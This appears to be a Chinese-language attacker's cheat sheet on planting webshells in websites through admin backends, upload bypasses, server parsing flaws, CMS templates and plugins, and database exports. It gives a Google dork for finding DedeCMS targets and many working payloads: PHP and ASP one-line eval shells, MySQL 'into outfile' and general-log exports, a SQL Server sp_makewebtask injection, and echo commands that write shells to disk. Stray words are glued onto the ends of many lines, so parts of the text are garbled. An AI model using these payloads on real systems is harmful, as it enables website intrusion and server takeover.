大綱php
管理員權限拿shelljava
普通權限拿shellmysql
常見cms拿shellnginx
進後臺主要是能夠對網站前臺的內容,樣式等作操做,要改腳本的內容的權限只有在webshell的權限下才能夠(某些狀況除外)。web
管理員權限拿shellsql
須要有管理員權限才能夠拿shellshell
一般須要登陸後臺執行相關操做數據庫
直接上傳拿shellapache
國內多對上傳類型進行了限制,須要在進行繞過操做服務器
示例:織夢後臺查找(改過以後的)
Google intext:powerd by DedeCMSV57_UTD8_SP2
DEDECMS V5.7
拿到織夢後臺,基本就拿到了shell
文件式管理器->可修改網站腳本內容,也能夠上傳腳本
若碰見文件權限問題,能夠修改文件名爲../往上級目錄翻
數據庫備份拿shell
網站上傳的文件後綴名進行過濾,不容許上傳腳本類型文件,如asp,php,jsp,aspx等,二網站具備數據庫備份的功能,這時咱們能夠將webshell格式先改成可上傳的格式,而後,將找到上傳後的文件路徑經過數據庫備份,將文件備份爲腳本格式。
示例:南方數據 v7.0 良精通用企業網站管理系統
有時會將系統管理中的按鈕刪除,可是功能是依舊存在的,(腳本文件名,數據庫備份:Manage_backup.asp)能夠在網站檢查中,將其餘鏈接的地址改成數據庫備份的地址。閹割版的網站,常見於ecshop,wordpress,dedecms,aspcms,良精,帝國,南方,phpv9,科訊。能夠本地下載完整的網站源碼,本身搭建,對目標網站嘗試修改拼接。
突破上傳拿shell
本地js驗證上傳
服務器mime上傳
服務器白名單上傳
服務器黑名單上傳
服務器filepath上傳
雙文件上傳
%00截斷上傳
上傳其餘腳本類型拿shell
修改網站上傳類型配置拿shell
有的網站在網站上傳類型中限制了上傳腳本類型文件,能夠添加上傳文件類型,如php,jsp,asp等拿shell
利用解析漏洞拿shell
一、IIS 5.x/6.0解析漏洞 目錄解析,分號解析,畸形文件名解析
二、IIS 7.0/7.5,Nginx<8.03畸形文件名解析漏洞,php文件解析漏洞
三、Nginx<8.03空字節代碼執行漏洞
四、Apache解析漏洞
利用編輯器漏洞拿shell
常見的編輯器有fckeditor,ewebeditor,cheditor
網站配置插馬拿shell
經過找到網站默認配置,將一句話插入到網站配置中,能夠事先下載網站源碼,查看過濾規則,防止插馬失敗("%><%eval request(「abc」)%><%’)根據網站源碼進行符號匹配。
經過編輯模板拿shell
一、經過對網站的模板進行編輯,寫入一句話,而後生成腳本文件拿shell
二、經過將木馬添加到壓縮文件,把名字改成網站模板類型,上傳到網站服務器,拿shell
示例:ecshop
模板管理——庫項目管理——配送方式
寫入php腳本驗證:<?php phpinfo();?>
訪問/myship.php發現執行了phpinfo,以後就能夠寫入一句話,菜刀鏈接。注意:有時在後面有」?>」時,不會成功,能夠去掉再嘗試一下。
數據庫管理——SQL查詢——輸入」use mysql」讓報錯,爆出路徑——select 「<?php phpinfo();?>」 into outfile ‘地址\\x.php’
注意:Windows中,斜槓要用兩個反斜槓,Linux路徑用單個斜槓
數據庫管理——數據庫備份——自定義備份(配合IIS6.0解析漏洞)建立用戶(用戶裏面寫入一句話)——放在ecs_users表中——備份——文件名爲u.asp;.sql
上傳插件拿shell
一些網站爲了增長某些功能會在後臺添加一些插件來實現,咱們能夠把木馬添加到安裝的插件中上傳服務器拿shell,常見的有博客類網站dz論壇等
示例:WordPress-V4.2.2
搭建時要先建立數據庫
phpstudy——mysql——create database wpp;
插件——已安裝的插件——安裝插件——下載一個正常的插件,將木馬放在裏面,一塊兒上傳,安裝——找上傳目錄
數據庫執行拿shell
可經過數據庫執行命令導出一句話到網站根目錄拿shell,access數據庫導出通常須要利用解析漏洞xx.asp;.xml
sqlserver導出:;exec%20sp_makewebtask%20%20%27c:\zhetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request(「cmd」))%>%27%27%27
mysql命令導出shell
create TABLE study (cmd text Not NULL);
insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);
select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;
drop TABLE IF EXISTS study;
或
use mysql;
create table x (packet text) type=MYISaM;
insert into x (packet) values(‘<pre><body><?php @system($_GET[「cmd」]);?></body></pre>’)
select x into outfile ‘d:\php\xx.php’
或
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’
1.進入phpmyadmin
2.知道網站路徑
3.直接執行SQL語句導入shell
注:有時可能出現不容許直接導shell
解決方法:首頁——變量——general lag 編輯——ON——general log file 編輯 D:\phpstudy\www\ba.php——SQL——一句話用引號引發來——執行——報錯——生成日誌,利用日誌記錄生成shell
4.不知道路徑時——推理路徑
首頁——變量——mysql的集成環境路徑——apache的路徑也知道了——D:\phpstudy\Apache\conf\httpd.conf——找個數據庫——建立表:
create table a(a text);
開外鏈
load data infile 「D:/phpstudy/Apache/conf/httpd.conf」 into table a;
導出SQL搜索documentroot
路徑推理
D:/phpstudy/Apache/conf/httpd.conf 配置文件的路徑,找網站根目錄
Apache
/usr/local/mysql
/usr/local/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
ngnix
/usr/local/nginx/conf/nginx.conf
phpmyadmin通常在網站根目錄下
當找不到配置文件時,能夠讀大文件,因爲文件太大會報錯,有可能會報出phpmyadmin的路徑。
文件包含拿shell 多用於上傳大馬
先將webshell改成txt文件上傳,而後上傳一個腳本文件包含該txt文件,可繞過waf拿shell
asp包含
1.<!--#include file=」123.jpg」-->
2.調用的文件必須和被調用的文件在同一目錄,不然找不到
3.若是找不到,用下面的語句
<--#include virtual=」文件所在目錄/123.jpg」-->
php包含
<?php include(「123.jpg」)?>
命令執行拿shell
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
^<^%eval request(「abc」)%^>^ >c:\1.php
普通用戶前臺拿shell
0day拿shell
IIS寫權限拿shell
命令執行拿shell
經過注入漏洞拿shell
前臺用戶頭像上傳拿shell
strusts2拿shell
java反序列拿shell